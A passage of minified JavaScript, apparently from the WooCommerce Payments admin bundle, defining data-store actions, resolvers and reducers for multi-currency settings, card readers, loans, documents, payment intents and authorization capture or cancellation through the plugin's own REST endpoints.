no(e){return{type:Vn.SET_STORE_SETTINGS,data:e}}function*oo(e){const t=Object.keys((0,z.select)(H).getEnabledCurrencies()),r=e.filter((e=>!t.includes(e))),n=t.filter((t=>!e.includes(t)));try{const t=yield(0,B.apiFetch)({path:`${$}/multi-currency/update-enabled-currencies`,method:"POST",data:{enabled:e}});yield Xn(t),yield(0,z.dispatch)("core/notices").createSuccessNotice((0,se.__)("Enabled currencies updated.","woocommerce-payments")),Bt.recordEvent(Bt.events.MULTI_CURRENCY_ENABLED_CURRENCIES_UPDATED,{added_currencies:r,removed_currencies:n})}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error updating enabled currencies.","woocommerce-payments"))}}function*ao(e,t){try{const r=yield(0,B.apiFetch)({path:`${$}/multi-currency/currencies/${e}`,method:"POST",data:t});yield ro(e,r),yield(0,z.dispatch)("core/notices").createSuccessNotice((0,se.__)("Currency settings updated.","woocommerce-payments"))}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error updating currency settings.","woocommerce-payments"))}}function*io(e,t){try{const r=yield(0,B.apiFetch)({path:`${$}/multi-currency/update-settings`,method:"POST",data:{wcpay_multi_currency_enable_auto_currency:e?"yes":"no",wcpay_multi_currency_enable_storefront_switcher:t?"yes":"no"}});yield no(r),yield(0,z.dispatch)("core/notices").createSuccessNotice((0,se.__)("Store settings saved.","woocommerce-payments"))}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error saving store settings.","woocommerce-payments"))}}function*so(){const e=`${$}/multi-currency/currencies`;try{const t=yield(0,B.apiFetch)({path:e});yield Xn(t)}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error retrieving currencies.","woocommerce-payments"))}}function*co(e){const t=`${$}/multi-currency/currencies/${e}`;try{const r=yield(0,B.apiFetch)({path:t});yield ro(e,r)}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error retrieving single currency settings.","woocommerce-payments"))}}function*uo(){const e=`${$}/multi-currency/get-settings`;try{const t=yield(0,B.apiFetch)({path:e});yield no(t)}catch(e){yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error retrieving store settings.","woocommerce-payments"))}}const lo={SET_CARD_READER_STATS:"SET_CARD_READER_STATS",SET_ERROR_FOR_CARD_READER_STATS:"SET_ERROR_FOR_CARD_READER_STATS",SET_READERS:"SET_READERS",SET_ERROR_FOR_CARD_READERS:"SET_ERROR_FOR_CARD_READERS"},po=(e,t)=>e.readers[t]&&e.readers[t].data?e.readers[t].data:{},mo=(e,t)=>e.readers[t]&&e.readers[t].error?e.readers[t].error:{},ho=e=>e.readers&&e.readers.list?e.readers.list:{};function fo(e,t){return{type:lo.SET_CARD_READER_STATS,id:e,data:t}}function yo(e,t){return{type:lo.SET_READERS,query:e,data:t}}function go(e,t,r){return{type:lo.SET_CARD_ERROR_FOR_READER_STATS,id:e,data:t,error:r}}function _o(e,t){return{type:lo.SET_CARD_ERROR_FOR_READERS,data:e,error:t}}function*vo(e,t){try{const r=yield(0,B.apiFetch)({path:`${$}/readers/charges/${t}`});yield fo(e,r)}catch(t){yield go(e,null,t)}}function*bo(e){const t=(0,me.addQueryArgs)(`${$}/readers`,{limit:e.limit});try{const r=yield(0,B.apiFetch)({path:t})||{};yield yo(e,r)}catch(e){yield _o(null,e)}}var Eo;!function(e){e.SET_ACTIVE_LOAN_SUMMARY="SET_ACTIVE_LOAN_SUMMARY",e.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY="SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY",e.SET_LOANS="SET_LOANS",e.SET_ERROR_FOR_LOANS="SET_ERROR_FOR_LOANS"}(Eo||(Eo={}));const wo=Eo;var So=function(){return So=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},So.apply(this,arguments)},To={};var Ro=function(e){return e&&e.capital||{}},Oo=function(e){return Ro(e).summary},Ao=function(e){return Ro(e).summaryError},Co=function(e){return Ro(e).loans||[]},xo=function(e){return Ro(e).loansError};function Io(e){return{type:wo.SET_ACTIVE_LOAN_SUMMARY,data:e}}function ko(e){return{type:wo.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY,error:e}}function No(e){return{type:wo.SET_LOANS,data:e.data}}function Do(e){return{type:wo.SET_ERROR_FOR_LOANS,error:e}}var Po=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function Mo(){var e,t;return Po(this,(function(r){switch(r.label){case 0:e=$+"/capital/active_loan_summary",r.label=1;case 1:return r.trys.push([1,4,,7]),[4,(0,B.apiFetch)({path:e})];case 2:return[4,Io(r.sent())];case 3:return r.sent(),[3,7];case 4:return t=r.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving the active loan summary.","woocommerce-payments"))];case 5:return r.sent(),[4,ko(t)];case 6:return r.sent(),[3,7];case 7:return[2]}}))}function Fo(){var e,t;return Po(this,(function(r){switch(r.label){case 0:e=$+"/capital/loans",r.label=1;case 1:return r.trys.push([1,4,,7]),[4,(0,B.apiFetch)({path:e})];case 2:return[4,No(r.sent())];case 3:return r.sent(),[3,7];case 4:return t=r.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving the active loan summary.","woocommerce-payments"))];case 5:return r.sent(),[4,Do(t)];case 6:return r.sent(),[3,7];case 7:return[2]}}))}const Lo={SET_DOCUMENTS:"SET_DOCUMENTS",SET_ERROR_FOR_DOCUMENTS:"SET_ERROR_FOR_DOCUMENTS",SET_DOCUMENTS_SUMMARY:"SET_DOCUMENTS_SUMMARY",SET_ERROR_FOR_DOCUMENTS_SUMMARY:"SET_ERROR_FOR_DOCUMENTS_SUMMARY"},Uo={summary:{}},zo=e=>e&&e.documents||{},Bo=(e,t)=>{const r=q(t);return zo(e)[r]||{}},$o=(e,t)=>Bo(e,t).data||[],Ho=(e,t)=>Bo(e,t).error||{},Vo=(e,t)=>{const r=q(t);return zo(e).summary[r]||{}},Wo=(e,t)=>Vo(e,t).data||{},qo=(e,t)=>Vo(e,t).error||{};function Yo(e,t){return{type:Lo.SET_DOCUMENTS,query:e,data:t}}function jo(e,t,r){return{type:Lo.SET_ERROR_FOR_DOCUMENTS,query:e,data:t,error:r}}function Go(e,t){return{type:Lo.SET_DOCUMENTS_SUMMARY,query:e,data:t}}function Ko(e,t,r){return{type:Lo.SET_ERROR_FOR_DOCUMENTS_SUMMARY,query:e,data:t,error:r}}const Qo=e=>({user_email:e.userEmail,match:e.match,date_before:_e(e.dateBefore,!0),date_after:_e(e.dateAfter),date_between:e.dateBetween&&[_e(e.dateBetween[0]),_e(e.dateBetween[1],!0)],type_is:e.typeIs,type_is_not:e.typeIsNot});function*Zo(e){const t=(0,me.addQueryArgs)(`${$}/documents`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...Qo(e)});try{const r=yield(0,B.apiFetch)({path:t});yield Yo(e,r.data||[])}catch(t){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving documents.","woocommerce-payments")),yield jo(e,null,t)}}function*Xo(e){const t=(0,me.addQueryArgs)(`${$}/documents/summary`,Qo(e));try{const r=yield(0,B.apiFetch)({path:t});yield Go(e,r)}catch(t){yield Ko(e,null,t)}}var Jo;!function(e){e.SET_PAYMENT_INTENT="SET_PAYMENT_INTENT",e.SET_ERROR_FOR_PAYMENT_INTENT="SET_ERROR_FOR_PAYMENT_INTENT"}(Jo||(Jo={}));const ea=Jo;var ta=function(){return ta=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},ta.apply(this,arguments)},ra={};var na=function(e,t){var r=e.paymentIntents,n=null==r?void 0:r[t];return(null==n?void 0:n.data)||{}},oa=function(e,t){var r=e.paymentIntents,n=null==r?void 0:r[t];return(null==n?void 0:n.error)||{}};function aa(e,t){return{type:ea.SET_PAYMENT_INTENT,id:e,data:t}}function ia(e,t){return{type:ea.SET_ERROR_FOR_PAYMENT_INTENT,id:e,error:t}}var sa=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function ca(e){var t,r;return sa(this,(function(n){switch(n.label){case 0:return n.trys.push([0,3,,6]),[4,(0,B.apiFetch)({path:$+"/payment_intents/"+e})];case 1:return t=n.sent(),[4,aa(e,t)];case 2:case 5:return n.sent(),[3,6];case 3:return r=n.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving transaction.","woocommerce-payments"))];case 4:return n.sent(),[4,ia(e,r)];case 6:return[2]}}))}const ua={SET_AUTHORIZATIONS:"SET_AUTHORIZATIONS",SET_AUTHORIZATION:"SET_AUTHORIZATION",SET_ERROR_FOR_AUTHORIZATIONS:"SET_ERROR_FOR_AUTHORIZATIONS",SET_AUTHORIZATIONS_SUMMARY:"SET_AUTHORIZATIONS_SUMMARY",SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY:"SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY",SET_IS_REQUESTING_AUTHORIZATION:"SET_IS_REQUESTING_AUTHORIZATION"};var la=function(){return la=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in t=arguments[r])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},la.apply(this,arguments)},da={summary:{},byId:{},isRequesting:!1};var pa=function(e){return e&&e.authorizations||{}},ma=function(e,t){var r=q(t);return pa(e)[r]||{}},ha=function(e,t){return ma(e,t).data||[]},fa=function(e,t){return(pa(e).byId||{})[t]},ya=function(e,t){return ma(e,t).error||{}},ga=function(e,t){var r=q(t);return pa(e).summary[r]||{}},_a=function(e,t){return ga(e,t).data||{}},va=function(e,t){return ga(e,t).error||{}},ba=function(e){return pa(e).isRequesting},Ea=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function wa(e,t){return{type:ua.SET_AUTHORIZATIONS,data:t,query:e}}function Sa(e,t){return{type:ua.SET_ERROR_FOR_AUTHORIZATIONS,query:e,error:t}}function Ta(e){return{type:ua.SET_AUTHORIZATION,data:e}}function Ra(e,t){return{type:ua.SET_AUTHORIZATIONS_SUMMARY,data:t,query:e}}function Oa(e){return{type:ua.SET_IS_REQUESTING_AUTHORIZATION,data:e}}function Aa(e,t){var r;return Ea(this,(function(n){switch(n.label){case 0:return n.trys.push([0,12,14,17]),[4,z.controls.dispatch(H,"startResolution","getAuthorization",[e])];case 1:return n.sent(),[4,z.controls.dispatch(H,"setIsRequestingAuthorization",!0)];case 2:return n.sent(),[4,(0,B.apiFetch)({path:"/wc/v3/payments/orders/"+t+"/capture_authorization",method:"post",data:{payment_intent_id:e}})];case 3:return[4,Ta({payment_intent_id:(r=n.sent()).id,captured:"succeeded"===r.status})];case 4:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getAuthorizations")];case 5:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getAuthorizationsSummary")];case 6:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactions")];case 7:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactionsSummary")];case 8:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getTimeline")];case 9:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getPaymentIntent")];case 10:return n.sent(),[4,z.controls.dispatch("core/notices","createSuccessNotice",(0,se.sprintf)((0,se.__)("Payment for order #%s captured successfully.","woocommerce-payments"),t))];case 11:case 13:return n.sent(),[3,17];case 12:return n.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.sprintf)((0,se.__)("There has been an error capturing the payment for order #%s. Please try again later.","woocommerce-payments"),t))];case 14:return[4,z.controls.dispatch(H,"finishResolution","getAuthorization",[e])];case 15:return n.sent(),[4,z.controls.dispatch(H,"setIsRequestingAuthorization",!1)];case 16:return n.sent(),[7];case 17:return[2]}}))}function Ca(e,t){var r;return Ea(this,(function(n){switch(n.label){case 0:return n.trys.push([0,12,14,17]),[4,z.controls.dispatch(H,"startResolution","getAuthorization",[e])];case 1:return n.sent(),[4,z.controls.dispatch(H,"setIsRequestingAuthorization",!0)];case 2:return n.sent(),[4,(0,B.apiFetch)({path:"/wc/v3/payments/orders/"+t+"/cancel_authorization",method:"post",data:{payment_intent_id:e}})];case 3:return[4,Ta({payment_intent_id:(r=n.sent()).id,captured:"succeeded"===r.status})];case 4:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getAuthorizations")];case 5:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getAuthorizationsSummary")];case 6:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactions")];case 7:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getFraudOutcomeTransactionsSummary")];case 8:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getTimeline")];case 9:return n.sent(),[4,z.controls.dispatch(H,"invalidateResolutionForStoreSelector","getPaymentIntent")];case 10:return n.sent(),[4,z.controls.dispatch("core/notices","createSuccessNotice",(0,se.sprintf)((0,se.__)("Payment for order #%s canceled successfully.","woocommerce-payments"),t))];case 11:case 13:return n.sent(),[3,17];case 12:return n.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.sprintf)((0,se.__)("There has been an error canceling the payment for order #%s. Please try again later.","woocommerce-payments"),t))];case 14:return[4,z.controls.dispatch(H,"finishResolution","getAuthorization",[e])];case 15:return n.sent(),[4,z.controls.dispatch(H,"setIsRequestingAuthorization",!1)];case 16:return n.sent(),[7];case 17:return[2]}}))}function xa(e,t){return{type:ua.SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY,query:e,error:t}}var Ia=function(e,t){var r,n,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function s(a){return function(s){return function(a){if(r)throw new TypeError("Generator is already executing.");for(;i;)try{if(r=1,n&&(o=2&a[0]?n.return:a[0]?n.throw||((o=n.return)&&o.call(n),0):n.next)&&!(o=o.call(n,a[1])).done)return o;switch(n=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,n=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!((o=(o=i.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){i=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){i.label=a[1];break}if(6===a[0]&&i.label<o[1]){i.label=o[1],o=a;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(a);break}o[2]&&i.ops.pop(),i.trys.pop();continue}a=t.call(e,i)}catch(e){a=[6,e],n=0}finally{r=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}};function ka(e){var t,r,n,o,a,i,s,c,u,l,d,p;return Ia(this,(function(m){switch(m.label){case 0:t=e.paged,r=void 0===t?1:t,n=e.per_page,o=void 0===n?25:n,a=e.orderby,i=void 0===a?"created":a,s=e.order,c=void 0===s?"asc":s,"capture_by"===i&&(i="created"),u=(0,me.addQueryArgs)($+"/authorizations",{page:r,pagesize:o,sort:i,direction:c}),m.label=1;case 1:return m.trys.push([1,4,,7]),[4,(0,B.apiFetch)({path:u})];case 2:return l=m.sent(),[4,wa(e,null!==(p=l.data)&&void 0!==p?p:[])];case 3:return m.sent(),[3,7];case 4:return d=m.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving uncaptured transactions.","woocommerce-payments"))];case 5:return m.sent(),[4,Sa(e,d)];case 6:return m.sent(),[3,7];case 7:return[2]}}))}function Na(e){var t,r,n,o,a;return Ia(this,(function(i){switch(i.label){case 0:return i.trys.push([0,4,,7]),e?[4,(0,B.apiFetch)({path:$+"/authorizations/"+e})]:[3,3];case 1:return t=i.sent(),n=(r=t).is_captured,o=r.payment_intent_id,a=r.created,[4,Ta({payment_intent_id:o,captured:n,created:a})];case 2:i.sent(),i.label=3;case 3:return[3,7];case 4:return"authorization_missing"===i.sent().code?[3,6]:[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving authorization.","woocommerce-payments"))];case 5:i.sent(),i.label=6;case 6:return[3,7];case 7:return[2]}}))}function Da(e){var t,r,n;return Ia(this,(function(o){switch(o.label){case 0:t=(0,me.addQueryArgs)($+"/authorizations/summary",{pagesize:e.per_page,sort:e.orderby,direction:e.order,page:e.paged}),o.label=1;case 1:return o.trys.push([1,4,,7]),[4,(0,B.apiFetch)({path:t})];case 2:return r=o.sent(),[4,Ra(e,null!=r?r:[])];case 3:return o.sent(),[3,7];case 4:return n=o.sent(),[4,z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving uncaptured transactions.","woocommerce-payments"))];case 5:return o.sent(),[4,xa(e,n)];case 6:return o.sent(),[3,7];case 7:return[2]}}))}(0,z.registerStore)(H,{reducer:(0,z.combineReducers)({deposits:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Y,{type:t,query:r={},data:n=[],error:o}=arguments.length>1?arguments[1]:void 0;const a=q(r);switch(t){case W.SET_DEPOSIT:return{...e,byId:{...e.byId,[n.id]:n}};case W.SET_DEPOSITS_OVERVIEW:return{...e,overview:{...e.overview,data:n}};case W.SET_ERROR_FOR_DEPOSITS_OVERVIEW:return{...e,overview:{...e.overview,error:o}};case W.SET_ALL_DEPOSITS_OVERVIEWS:return{...e,overviews:{...e.overviews,data:n}};case W.SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS:return{...e,overviews:{...e.overviews,error:o}};case W.SET_DEPOSITS:return{...e,byId:{...e.byId,...(0,V.keyBy)(n,"id")},queries:{...e.queries,[a]:{data:(0,V.map)(n,"id")}}};case W.SET_DEPOSITS_COUNT:return{...e,count:n};case W.SET_ERROR_FOR_DEPOSIT_QUERY:return{...e,queries:{...e.queries,[a]:{error:o}}};case W.SET_DEPOSITS_SUMMARY:return{...e,summary:{...e.summary,[a]:{data:n}}};case W.SET_ERROR_FOR_DEPOSITS_SUMMARY:return{...e,summary:{...e.summary,[a]:{error:o}}};case W.SET_INSTANT_DEPOSIT:return{...e,instant:{...e.instant,data:n}}}return e},transactions:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ze,{type:t,query:r={},data:n=[],error:o,status:a}=arguments.length>1?arguments[1]:void 0;const i=q(r);switch(t){case Ue.SET_TRANSACTIONS:return{...e,[i]:{data:n}};case Ue.SET_ERROR_FOR_TRANSACTIONS:return{...e,[i]:{error:o}};case Ue.SET_TRANSACTIONS_SUMMARY:return{...e,summary:{...e.summary,[i]:{data:n}}};case Ue.SET_ERROR_FOR_TRANSACTIONS_SUMMARY:return{...e,summary:{...e.summary,[i]:{error:o}}};case Ue.SET_FRAUD_OUTCOME_TRANSACTIONS:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},[i]:{data:n}}}};case Ue.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},[i]:{error:o}}}};case Ue.SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},summary:{...e.fraudProtection?.[a]?.summary||{},[i]:{data:n}}}}};case Ue.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},summary:{...e.fraudProtection?.[a]?.summary||{},[i]:{error:o}}}}}}return e},charges:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case ht.SET_CHARGE:e={...e,[r]:{...e[r],data:n}};break;case ht.SET_ERROR_FOR_CHARGE:e={...e,[r]:{...e[r],error:o}}}return e},timeline:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case St.SET_TIMELINE:e={...e,[r]:{data:n}};break;case St.SET_ERROR_FOR_TIMELINE:e={...e,[r]:{...e[r],error:o}}}return e},disputes:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:It,{type:t,query:r={},data:n=[]}=arguments.length>1?arguments[1]:void 0;const o=q(r);switch(t){case xt.SET_DISPUTE:return{...e,byId:{...e.byId,[n.id]:n}};case xt.SET_DISPUTES:return{...e,cached:{...e.cached,...(0,V.keyBy)(n,"dispute_id")},queries:{...e.queries,[o]:{data:(0,V.map)(n,"dispute_id")}}};case xt.SET_DISPUTES_SUMMARY:return{...e,summary:{...e.summary,[o]:{data:n}}}}return e},settings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:tr,{type:t,...r}=arguments.length>1?arguments[1]:void 0;switch(t){case er.SET_SETTINGS:return{...e,data:r.data};case er.SET_SETTINGS_VALUES:return{...e,savingError:null,data:{...e.data,...r.payload}};case er.SET_IS_SAVING_SETTINGS:return{...e,isSaving:r.isSaving,savingError:r.error};case er.SET_SELECTED_PAYMENT_METHOD:return{...e,data:{...e.data,enabled_payment_method_ids:e.data.enabled_payment_method_ids.concat(r.id)}};case er.SET_UNSELECTED_PAYMENT_METHOD:return{...e,data:{...e.data,enabled_payment_method_ids:e.data.enabled_payment_method_ids.filter((e=>e!==r.id))}}}return e},multiCurrency:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Wn,{type:t,data:r=[]}=arguments.length>1?arguments[1]:void 0;switch(t){case Vn.SET_CURRENCIES:return{...e,currencies:r,available:r.available,enabled:r.enabled,default:r.default};case Vn.SET_AVAILABLE_CURRENCIES:return{...e,currencies:{...e,available:r.available},available:r.available};case Vn.SET_ENABLED_CURRENCIES:return{...e,currencies:{...e,enabled:r.enabled},enabled:r.enabled};case Vn.SET_DEFAULT_CURRENCY:return{...e,currencies:{...e,default:r.default},default:r.default};case Vn.SET_CURRENCY_SETTINGS:return{...e,currency_settings:{...e.currency_settings,[r.code]:r.data}};case Vn.SET_STORE_SETTINGS:return{...e,settings:{enable_auto_currency:r.wcpay_multi_currency_enable_auto_currency,enable_storefront_switcher:r.wcpay_multi_currency_enable_storefront_switcher,site_theme:r.site_theme,date_format:r.date_format,time_format:r.time_format,store_url:r.store_url}}}return e},readers:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case lo.SET_CARD_READER_STATS:e={...e,[r]:{...e[r],data:n}};break;case lo.SET_ERROR_FOR_CARD_READER_STATS:e={...e,[r]:{...e[r],error:o}};break;case lo.SET_READERS:e={...e,list:n}}return e},capital:function(e,t){switch(void 0===e&&(e=To),t.type){case wo.SET_ACTIVE_LOAN_SUMMARY:return So(So({},e),{summary:t.data,summaryError:void 0});case wo.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY:return So(So({},e),{summary:void 0,summaryError:t.error});case wo.SET_LOANS:return So(So({},e),{loans:t.data,loansError:void 0});case wo.SET_ERROR_FOR_LOANS:return So(So({},e),{loans:void 0,loansError:t.error})}return e},documents:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Uo,{type:t,query:r={},data:n=[],error:o}=arguments.length>1?arguments[1]:void 0;const a=q(r);switch(t){case Lo.SET_DOCUMENTS:return{...e,[a]:{data:n}};case Lo.SET_ERROR_FOR_DOCUMENTS:return{...e,[a]:{error:o}};case Lo.SET_DOCUMENTS_SUMMARY:return{...e,summary:{...e.summary,[a]:{data:n}}};case Lo.SET_ERROR_FOR_DOCUMENTS_SUMMARY:return{...e,summary:{...e.summary,[a]:{error:o}}}}return e},paymentIntents:function(e,t){var r,n;void 0===e&&(e=ra);var o=t.type,a=t.id;switch(o){case ea.SET_PAYMENT_INTENT:return ta(ta({},e),((r={})[a]=ta(ta({},e[a]),{data:t.data}),r));case ea.SET_ERROR_FOR_PAYMENT_INTENT:return ta(ta({},e),((n={})[a]=ta(ta({},e[a]),{error:t.error}),n));default:return e}},authorizations:function(e,t){var r,n,o,a,i;switch(void 0===e&&(e=da),t.type){case ua.SET_AUTHORIZATION:var s=t.data;return la(la({},e),{byId:la(la({},e.byId),(r={},r[s.payment_intent_id]=la(la({},e.byId[s.payment_intent_id]),s),r))});case ua.SET_AUTHORIZATIONS:var c=t,u=(s=c.data,c.query);return la(la({},e),((n={})[q(u)]={data:s},n));case ua.SET_ERROR_FOR_AUTHORIZATIONS:var l=t,d=l.error;return u=l.query,la(la({},e),((o={})[q(u)]={error:d},o));case ua.SET_AUTHORIZATIONS_SUMMARY:var p=t;return s=p.data,u=p.query,la(la({},e),{summary:la(la({},e.summary),(a={},a[q(u)]={data:s||{}},a))});case ua.SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY:var m=t;return u=m.query,d=m.error,la(la({},e),{summary:la(la({},e.summary),(i={},i[q(u)]={error:d||""},i))});case ua.SET_IS_REQUESTING_AUTHORIZATION:return s=t.data,la(la({},e),{isRequesting:s})}return e}}),actions:{...t,...a,...c,...d,...h,...g,...b,...S,...O,...x,...N,...M},controls:B.controls,selectors:{...e,...o,...s,...l,...m,...y,...v,...w,...R,...C,...k,...P},resolvers:{...n,...i,...u,...p,...f,..._,...E,...T,...A,...I,...D,...F}});const Pa=window.React;var Ma=r.n(Pa);function Fa(){return Fa=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in 